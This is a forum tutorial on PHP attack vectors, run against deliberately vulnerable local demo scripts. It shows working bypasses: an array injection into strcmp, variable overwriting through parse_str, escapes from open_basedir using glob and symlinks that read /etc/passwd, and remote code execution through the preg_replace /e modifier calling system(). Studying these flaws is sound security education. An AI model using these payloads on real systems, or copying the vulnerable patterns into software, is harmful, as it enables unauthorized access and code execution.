Interesting Attack Vectors in PHP - Part 1

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Hello everyone! I will be posting a series of articles regarding different attack vectors in PHP which can be exploited. Part 1 we will look at different interesting PHP functions. Buckle up, here we go!


Before starting, there are a few prerequisites that has to be fulfilled if you want to follow along when I demonstrate examples. I am using debian but you could use anything else you wish to use:
  1. Install php and it's dependencies (apt install php7.4-mbstring php7.4-gd php7.4-mysql php7.4-xmlphp7.4-curl) I am using version 7.4 - replace it with your appropriate version.
  2. Install apache.
  3. After that, move the files to /var/www/html/ and you are good to go.

Part 1 - Exploiting Interesting functions in PHP

PHP has a lot of interesting functions which works in weird ways under different circumstances. This can lead to introduction of unintended vulnerabilities into the code base. Let’s look at some of the examples:


1. Exploiting strcmp() - String compare
Нажмите, чтобы раскрыть...

One of the very simple function, strcmp(str1, str2) basically does a string comparison of 2 different strings and returns < 0 if str1 is less than str2 and > 0 if str1 is greater than str2, and 0 if they are equal.

Let's run some basic examples using strcmpy(). Enter php interactive mode (php -a)


Код: Скопировать в буфер обмена
Код:
php > echo strcmp("Hello world!","Hello world!"); // the two strings are equal
php > echo strcmp("Hello world!","Hello"); // string1 is greater than string2
php > echo strcmp("Hello world!","Hello world! Hello!"); // string1 is less
than string2

OUTPUT:
0
7
-7

Ok, we got expected outcome. Now let's look at more interesting example. What will happen when an array is being passed onto strcmp() ? Let's look at it:


PHP: Скопировать в буфер обмена
Код:
$a = array("123");
$b = "123";
echo strcmp($b, $a);

Output:
PHP Warning: strcmp() expects parameter 2 to be string, array given in php
shell code on line 1

Ops, what just happened? Let me take one more example, which can be related to a real world application:


Filename: strcmp.php


PHP: Скопировать в буфер обмена
Код:
<?php
$token = rand();
if (isset($_GET['token']) && strcmp($_GET['token'],$token) == 0) {
echo "Access Granted!";
}
else {
echo "Please login!" ;
}

In a normal scenario, we can’t predict the value of rand() since it returns a random string but since this is being compared using strcmp(), we can bypass this check.

Now go to the url where you have hosted it and try the following:


Код: Скопировать в буфер обмена
Код:
# Normal scenario
curl 'http://127.0.0.1/php/strcmp.php?token=123'

# Bypass
curl 'http://localhost/php/strcmp.php?token[]=abc'

Output:

# Normal scenario
Please login!

# Bypass
Access granted!

We were successfully able to bypass! Now, let's look at why this happens.
When an array() is being passed onto the strcmp(), it throws a warning stating that "WARNING strcmp() expects parameter 2 to be string” but the compare result will throw NULL which when combined with loose comparison equates to 0 (the same return value when 2 strings are the same)! Hence if the program logic is purely written on the basis of the return value of strcmp(), this can be bypassed.
Нажмите, чтобы раскрыть...

2. Exploiting parse_str() - Overwriting query variables
Нажмите, чтобы раскрыть...

Now, we will look at another function which is parse_str(). The parse_str() function parses a query string into variables. It has 2 arguments, the first argument should be an array while the second argument being optional, specifies the name of an array to store the variables. Pretty straightforward right? Well, not quite. Let's first look at the basics.

PHP: Скопировать в буфер обмена
Код:
parse_str("username=admin&password=password123",$myArray);
print_r($myArray);

Output:

Array
(
    [username] => admin
    [password] => password123
)

parse_str() parses the string as if it were the query string passed via a URL and sets variables in the current scope. If the second parameter array is present, variables are stored in this variable as array elements instead.
Things get particularly interesting if the second array parameter is not set, where the variables set by this function will overwrite existing variables of the same name. The problem here is that there are no checks to see if the variable it sets to is already existing or not.

This can lead to overwriting of the $GLOBALS superglobal variable or even some critical data that was stored in variables.
Let's look at an example to understand it more deeply.

Filename: parse_str.php



PHP: Скопировать в буфер обмена
Код:
<?php
$check = "675598278";
parse_str($_SERVER['QUERY_STRING']);
if (isset($username)&&isset($password)&&$password===$check) {
echo "Access Granted!";
} else {
echo "Check Failed!";
}

Here without knowing the $check variable value, it looks difficult to get access but since parse_str() is being used on the entire query string, we can overwrite the existing variable’s value! Now, that's what I am talking about. Go to the parse_str.php path and execute following:


Код: Скопировать в буфер обмена
Код:
curl 'http://localhost/php/parse_str.php?username=asd&password=123&check=123'

Output:

Access Granted!

In the above scenario, along with the creation of the username and the password variables, the check variable got overwritten and this led to the condition checks being bypassed.


3. Bypassing open_basedir() - Reading files from restricted directories
Нажмите, чтобы раскрыть...

I find this function most interesting. So what does open_basedir() do? open_basedir() is a core php directives one can set to configure your PHP setup which limits the files that can be accessed by PHP to the specified directory-tree, including the file itself. So this can limit the attack surface of path traversals and local file inclusions.

When a script tries to access the filesystem for example using include or fopen(), the location of the file is verified and if the file is outside the specified directory-tree defined by open_basedir, then PHP will refuse to access it. That's the simplest explanation I could think of. Now let's look at some examples. We will play around with files to see how it works:



Код: Скопировать в буфер обмена
Код:
# create a file in /tmp
echo "tmp file" > /tmp/target.txt
echo "same directory file" > testfile.txt


PHP: Скопировать в буфер обмена
Код:
php > echo file_get_contents('/tmp/target.txt');
php > ini_set('open_basedir', '.');
php > echo file_get_contents('/tmp/target.txt');
php > echo file_get_contents('./testfile.txt');


hi.png



Before setting the open_basedir restriction, we are able to read the file from /tmp/ but once we set the restriction, then we are only able to read the files from the current directory onwards, and we are given a PHP Warning when we try to read files from outside the set restriction. But nothing is ever secure enough, is it? This restriction can be bypassed by tricking PHP. I will keep it very short, so it won't be possible to detail on everything.

i. Bypassing open_basedir() using glob
Нажмите, чтобы раскрыть...

If you are unaware about glob, look at here. Basically it's used to find pathnames matching pattern. What could be a good way, if not by an example, to understand something? Let's look at an example:



PHP: Скопировать в буфер обмена
Код:
<?php

if ($dh = opendir("glob:///*")) {
    while (($file = readdir($dh)) != false) {
        echo "$file\n";
    }
    closedir($dh);
}
?>
    
Output:
bin
boot
dev
etc
.
.
.
tmp
usr
var
vmlinuz
vmlinuz.old

So, by using glob we directly got a directory listing of the files that are outside the restriction. Cool right? Now let's look at another method.


ii. Bypassing open_basedir() using symlinks
Нажмите, чтобы раскрыть...

I am pretty sure everyone here knows what are symlinks. If you don't know, don't worry, I will briefly explain it. A symlink or a Symbolic Link is simply enough a shortcut to another file. It is a file that points to another file. By cleverly using symlinks, we can bypass the open_basedir() restriction. Simple, that's it.

So, how do you actually do it? Hmmm...

Basically what we are going to do is creating several directories and using symlinks in a different way, in order to symlink 'bar' (you will look at the code below) to something like '/var/www/html/../../../../../../', thereby when we get file_get_contents we are able to bypass the restrictions.



PHP: Скопировать в буфер обмена
Код:
<?php

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');

?>

4. Exploiting preg_replace() - Remote Code Execution
Нажмите, чтобы раскрыть...

This will be the last function we will be looking at in this article. Let's look at what this function does and how we can take it to our advantage to manipulate and produce unwanted outcomes.

The preg_replace() function returns a string or array of strings where all matches of a pattern or list of patterns found in the input are replaced with substrings.



Syntax : preg_replace(patterns, replacements, input, limit, count)

The last three arguments are optional.

Basically there are 3 ways we could use this function:

  1. One pattern and a replacement string. Matches of the pattern are replaced with the replacement string.
  2. An array of patterns and a replacement string. Matches any of the patterns are replaced with the replacement string.
  3. An array of patterns and an array of replacement strings. Matches of each pattern are replaced with the replacement string at the same position in the replacements array. If no item is found at that position the match is replaced with an empty string.

Simple example:

PHP: Скопировать в буфер обмена
Код:
<?php
$str = 'Hello Me!';
$pattern = '/me/i';
echo preg_replace($pattern, 'World', $str);
?>
    
Output:
Hello world!


Now, let's look at another example, attached in this article:


Filename: preg_replace.php

PHP: Скопировать в буфер обмена
Код:
<?php
$string = 'Thank you for coming!';
echo preg_replace($_GET['replace'], $_GET['with'], $string);
?>

Код: Скопировать в буфер обмена
Код:
curl 'http://localhost/php/preg_replace.php?replace=/you/i&with=you%20so%20much'

Output: Thank you so much for coming!

There is a ‘e’ modifier in preg_replace regex that can be applied in case the user has control over the pattern that is given to the function. This will result in the expression being evaluated, and a user can achieve Remote Code Execution in the server from this function.

If we use the ‘e’ tag instead of the ‘i’ tag then:



Код: Скопировать в буфер обмена
curl 'http://localhost/php/preg_replace.php?replace=/you/e&with=phpinfo();'


And we get the contents of phpinfo file output on the application. Similarly for executing system commands we can use:


PHP: Скопировать в буфер обмена
curl 'http://localhost/php/preg_replace.php?replace=/you/e&with=system("ls");'



That will be the end of this article. This was based on my previous research which took me much time and I added a bit more to it. Thank you for sticking till the end!
 
Сверху Снизу